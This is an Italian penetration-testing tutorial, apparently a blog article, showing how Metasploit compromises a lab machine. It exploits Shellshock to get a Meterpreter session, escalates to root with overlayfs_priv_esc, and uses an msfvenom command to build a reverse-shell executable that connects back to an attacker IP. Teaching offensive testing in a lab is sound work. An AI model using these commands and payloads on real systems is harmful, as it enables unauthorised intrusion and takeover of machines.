Red Hot Cyber
La cybersecurity è condivisione.
Riconosci il rischio, combattilo, condividi le tue esperienze ed
incentiva gli altri a fare meglio di te.
Menu
La cybersecurity è condivisione.
Riconosci il rischio, combattilo, condividi le tue esperienze ed
incentiva gli altri a fare meglio di te.
Manuel Roccon : 8 Gennaio 2024 07:09
In questo articolo andremo alla scoperta di metasploit, un framework scritto in ruby, appositamente creato per supportare hacker e pentester. Per fare ciò, e spiegare le basi del funzionamento del framework, andremo a provarlo direttamente sul campo, cercando di violare un’infrastruttura in laboratorio appositamente creata per vedere i vari possibili scenari di utilizzo.
In questo tutorial alterneremo della teoria con la pratica per poter capire meglio il funzionamento.
Il nostro laboratorio per questo test sarà composto da una macchina “pubblica” di cui sappiamo IP (192.168.83.139), che l’attaccante potrà comunicare e una macchina nascosta di cui non sappiamo l’esistenza, comunicante solo con la prima.
Supporta Red Hot Cyber attraverso
Il nostro obiettivo, sfruttando varie vulnerabilità ed escalation, è riuscire ad arrivare alla rete interna e ottenere il controllo della macchina nascosta.
Sappiamo già che la macchina accessibile ha un servizio web esposto. Iniziamo effettuando un po’ di fuzzing, utilizzando Nikto ci accorgiamo subito di una vulnerabilità shellshock CVE-2014-6271.
Ora avviamo metasploit (mfsconsole), nel caso non fosse installato è possibile seguire queste istruzioni.
https://docs.rapid7.com/metasploit/installing-the-metasploit-framework/
Metasploit è composto da queste principali tipologie di moduli:
L’accesso ai vari moduli è ben organizzato, inizia con la tipologia, sistema operativo, protocollo e così via (es. exploit/linux/local/overlayfs_priv_esc)
Tramite la console di metasploit possiamo velocemente eseguire una ricerca di questi moduli tramite il comando “search”.
In questo caso cerchiamo i risultati per “shellshock apache” che ci ha riportato Nikto.
Possiamo inoltre cercare per CVE (“search CVE-2014-6278”).
A questo punto proviamo a usare un modulo ausiliary proposto per testare la vulnerabilità.
Questo modulo permette di testare la vulnerabilità senza avviare payload per ottenere l’accesso al sistema.
Per selezionare un modulo abbiamo diversi modi utilizzando il comando USE.
Conoscendo il percorso esatto del modulo possiamo richiamarlo con il percorso esatto (es. “use auxiliary/scanner/http/apache_mod_cgi_bash_env”) oppure dopo aver fatto una ricerca richiamarlo con il numero che compare a lato del risultato (es. “use 1”)
Quindi richiamiamo il comando auxiliary tramite posizione.
Dopo averlo selezionato il modulo in uso viene riportato sulla shell, per interagire con esso abbiamo una serie di comandi utili del modulo:
AZIONI
ALCUNI PARAMETRI
I parametri principali che troveremo in ogni modulo sono:
Altri parametri sono specifici del modulo, con show info è possibile visualizzarli tutti
PAYLOAD
I payload sono delle procedure per interagire con il sistema remoto e ottenerne il controllo (shell o meterpreter) o eseguire comandi remoti.
Come i moduli di metasploit, i payloads sono anch’essi organizzati a livello sintattico e gerarchico.
Per esempio, linux/x86/meterpreter/reverse_tcp identifica che:
I payloads possono essere di 2 tipologie:
Per distinguere i payloads no stage dagli stage, metasploit utilizza il carattere tra meterpreter e la tipologia, ad esempio:
| Payload | Staged | Stageless |
|---|---|---|
| Reverse TCP | windows/meterpreter/reverse_tcp | windows/meterpreter_reverse_tcp |
| Reverse HTTPS | windows/meterpreter/reverse_https | windows/meterpreter_reverse_https |
| Bind TCP | windows/meterpreter/bind_tcp | windows/meterpreter_bind_tcp |
| Reverse TCP IPv6 | windows/meterpreter/reverse_ipv6_tcp | windows/meterpreter_reverse_ipv6_tcp |
Per completare il tutto un’altra distinzione è se la shell è bind o reverse:
La scelta delle 2 dipende da come l’attaccante è in contatto con la vittima, se attaccante non può comunicare direttamente con la vittima in una specifica porta (es. c’è un firewall) è necessario usare una reverse shell, mentre se lo si raggiunge direttamente, ma al contrario la vittima non riesce a raggiungere il nostro IP attaccante (come vedremo dopo) è necessario un bind.
Infine, come accennavo, esistono dei payload per eseguire solo dei comandi remote come ad esempio:
Ora andiamo alla pratica con il nostro modulo appena caricato.
Con show info vengono riportate le informazioni base del modulo,
I parametri configurabili, (Da notare che alcuno devono necessariamente essere inseriti altri no (Required))
La descrizione del modulo
E alcune referenze del modulo o della vulnerabilità o del exploit.
Ora settiamo i parametri e avviamo il modulo
Ci accorgiamo subito che il modulo ha restituito una risposta positiva, ritornando l’attuale utente che sta eseguendo apache nella macchina remota contraddistinto con (uid); quindi la macchina è vulnerabile alla CVE identificata.
Ora selezioniamo exploit che ci permetterà di ottenere la shell remota sulla macchina, eseguiamo la stessa ricerca di prima e selezioniamo l’altro modulo (“use 0”).
Questo modulo prevede l’esecuzione di una shell remota, di default viene usato linux/x86/meterpreter/reverse_tcp.
Come spiegato in precedenza, qual volta che dovessimo usarne uno diverso, dopo vedremo uno dei motivi per cui dovremmo cambiarlo, possiamo usare questi comandi:
Ora verifichiamo i dati del modulo:
Alcuni moduli hanno un “targets” variabile che ne identifica per esempio la tipologia di sistema o una variante della vulnerabilità, è molto importante, come vedremo dopo analizzare questi dettagli del modulo per la corretta esecuzione del payload.
Infine sono elencati tutti i parametri settabili nel modulo, alcuni richiesti altri no.
Ora impostiamo:
Otteniamo finalmente una sessione di meterpreter, abbiamo sfruttato correttamente la vulnerabilità shellshock per accedere alla macchina
Questa sessione meterpreter, rispetto a una normale reverse shell che vedremo dopo, permette di eseguire una una serie di comandi e tool di metasploit direttamente sulla macchina compromessa, con il comando help possiamo vedere tutti i comandi che meterpreter può eseguire.
Un comando per esempio è getuid, restituisce utente con cui è stato eseguito il payload, ma, come approfondiremo in seguito potremo eseguire una grande varietà di estensioni (es. kiwi, incognito) o moduli post avviandolo direttamente sulla shell di meterpreter tramite il comando RUN.
Da notare che non siamo utenti privilegiati, per cui dobbiamo trovare un modo per diventarlo tramite una tecnica che prende il nome di privilege escalation.
Tramite il comando “shell” ora possiamo interagire direttamente con la shell del sistema vittima.
Un approfondimento dettagliato è possibile visualizzarlo nella documentazione OSCP
https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/
Quindi avviamo la shell remota, verifichiamo di nuovo l’utente in esecuzione, la versione del sistema operativo e del kernel
Da notare che la nostra shell non era interattiva, non ci restituisce vari output come il percorso, per farla diventare tale abbiamo usato uno script in bash “SHELL=/bin/bash script -q /dev/null”.
Un altro comando che possiamo usare per ottenere una interactive shell è “python -c ‘import pty; pty.spawn(“/bin/bash”)’”
Una volta aperta la shell possiamo metterla in background per permetterci di fare altro per poi riprenderle in seguito.
Vediamo come:
Usando “Ctrl + C”, chiuderà la shell remota definitivamente.
Usando “Ctrl + Z”, la metterà in background, utile per poi andare per esempio ad un’altra sessione e poi in futuro riprenderci la shell che avevamo aperto.
In seguito, usando “channel -l”, possiamo vedere le shell in background.
Per riprenderci la shell in background dovremmo usare channel -l [numero channel].
In seguito vedremo anche come mettere in background intera sessione meterpreter.
Ora proseguiamo nella nostra esplorazione. Abbiamo accennato prima di non essere utente root ma un utente non privilegiato, questo ci impedisce di avere totale controllo del sistema.
Per il proseguimento del nostro test e collegarci alla macchina nascosta, non sarebbe necessario avere i diritti di questa macchina intermedia, in quanto ci basterebbe la sessione esistente per eseguire il pivoting che vedremmo in seguito. Ma in moltissimi casi per proseguire è necessario avere i privilegi massimi nella macchina compromessa.
Ma proseguiamo ugualmente per vedere alcuni comandi interessanti.
Ora facciamo un’analisi “manuale”, ci concentriamo subito sulla versione del kernel 3.13.0.24 e cerchiamo alcune info su exploit-db alla ricerca di exploit utili.
DB-exploit è un grande archivio pubblico di exploit e informazioni per sfruttare vulnerabilità specifiche.
Ci accorgiamo subito di una vulnerabilità Kernel che rientra nella nostra versione, per utilizzare questa dovremmo scaricare il file scritto in C, compilarlo nella macchina remota e avviarlo dall’utente non privilegiato per ottenere una sessione root (maggiori dettagli sono presenti sul file).
https://www.exploit-db.com/exploits/37292
Essendo l’articolo incentrato su Metasploit, proviamo a usare il nostro framework per ottenere lo stesso risultato.
Iniziamo nell’usare il modulo “post/multi/recon/local_exploit_suggester”, che analizza automaticamente gli exploit compatibili che metasploit dispone e ci suggerisce con quali potrebbero essere usati.
In caso volessimo fare la stessa cosa nei metodi manuali dovremmo usare per esempio linpeas avviato nel sistema vittima (winpeas per sistemi windows).
Ci viene restituita una serie di vulnerabilità compatibili, ci accorgiamo subito del primo individuato (exploit/linux/local/overlayfs_priv_esc) risulta essere lo stesso di db-exploit.
Ora mettiamo in background la sessione come visto prima tramite “ctrl+Z”.
Il motivo è che dobbiamo eseguire exploit fuori dalla sessione meterpreter di linux per poi indicare al exploit in quale sessione andare a interagire.
Come per i channel, possiamo vedere sempre le sessioni in background tramite sessions -l.
In seguito tramite session -i (numero) possiamo riprendere in possesso della sessione.
Ora usiamo exploit suggerito (use exploit/linux/local/overlayfs_priv_esc), notiamo subito che questo modulo è possibile sfruttare 2 CVE distinte (targets).
Andiamo a configurare il modulo:
Dopo aver avviato l’exploit otteniamo una sessione come root, exploit ha funzionato e il nostro privilege escalation ha avuto successo siamo utente root.
Info: dalla shell possiamo ora cambiare la password tramite il comando echo -e "Password123.\nPassword" | passwd root
Rispetto alla sessione precedente, ci accorgiamo che ci viene riportata subito una shell di linux, e non si è aperta la sessione meterpreter come prima con tutte le utility del caso.
Per cui nella macchina remota da questa sessione non potremmo interagire con i comandi visti prima.
Il motivo è che il payload di default usato dal modulo è linux/x86/shell/reverse_tcp
In realtà ho provato a sostituire il payload meterpreter con la semplice shell (set payload linux/x86/shell/reverse_tcp) prima di eseguirlo, ma exploit per qualche ragione la shell veniva eseguita con l’utente non privilegiato www-data.
Quindi agiremo diversamente, creeremo manualmente un eseguibile con meterpreter da caricare e avviare dalla sessione non meterpreter.
Quindi mettiamo in background la shell meterpreter come avevamo visto prima tramite “ctrl+Z”.
Proseguiamo con un approfondimento su metasploit su come poter avviare una sessione metepreter da una shell normale utilizzando il tool msvenom.
Questo tool è usato anche per esempio per creare delle reverse shell nei payload avviati senza il supporto diretto di metasploit per exploit delle macchine, oppure da inserire il payload in un buffer overflow.
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.83.128 LPORT=4441 -f elf > shell.elf
Per fare ciò andiamo indicare:
Nella directory viene creato l’eseguibile shell.elf da lanciare nella macchina vittima.
Non prima però avviamo un modulo per poter accettare le richieste in ingresso una volta avviato l’eseguibile, per cui da metasploit selezioniamo il modulo “use exploit/multi/handler”
Compiliamo i parametri:
Questa volta eseguiamo exploit -J (incluso il parametro -J): in questo modo il modulo si avvierà e restera in background lasciando comunque di nuovo operare con metasploit.
Quando la connessione verrà stabilita potremmo vedere la sessione con “session -l” e collegarsi con “session -i [numero]” come abbiamo visto prima.
Ora dobbiamo caricare il file appena creato nella macchina, tmp in linux è un’ottima posizione in quanto generalmente qualunque utente locale può scriverci.
Per caricare il file ci sono varie modalità per farlo, ma avendo già aperta una sessione di meterpreter, possiamo sfruttare quella per caricarlo tramite il comando upload.
Colleghiamoci alla sessione 1 (session -i 1)
Ed eseguiamo upload tramite il comando upload (un altro comando utilizzabile dalla console meterpreter) file destinazione:
Quindi mettiamo in background la sessione 1 () e spostiamoci nella sessione 2 (session -i 2) ancora aperta come utente root:
Trasformiamo la nostra sessione non interattiva in interattiva. Ci spostiamo sulla directory /tmp dove abbiamo copiato il file, impostiamo il flag di esecuzione sul file (chmod + x shell.elf) ed avviamo la shell.elf (./shell.elf)
Ci accorgiamo subito che a video verrà attivato una nuova sessione che prima era in ascolto (Meterpreter session 3 opened).
Mettiamo di nuovo in background la sessione 2 corrente (ctrl +Z)
e verificando di nuovo le sessioni attive (session -l) ci accorgiamo che abbiamo una sessione (sessione 3) attiva meterpreter come root.
In questa parte abbiamo approfondito i comandi base di Metasploit, come utilizzare le principali tipologie di moduli e avviare i moduli exploit per ottenere il controllo della macchina fino al privilege escalation.
Nella prossima parte verrà mostrato come individuare una rete collegata a questa macchina che abbiamo compromesso e come poter muoverci nella rete interna tramite pivoting.
Manuel Roccon
Redazione: [email protected]
© Copyright RED HOT CYBER. PIVA 16821691009
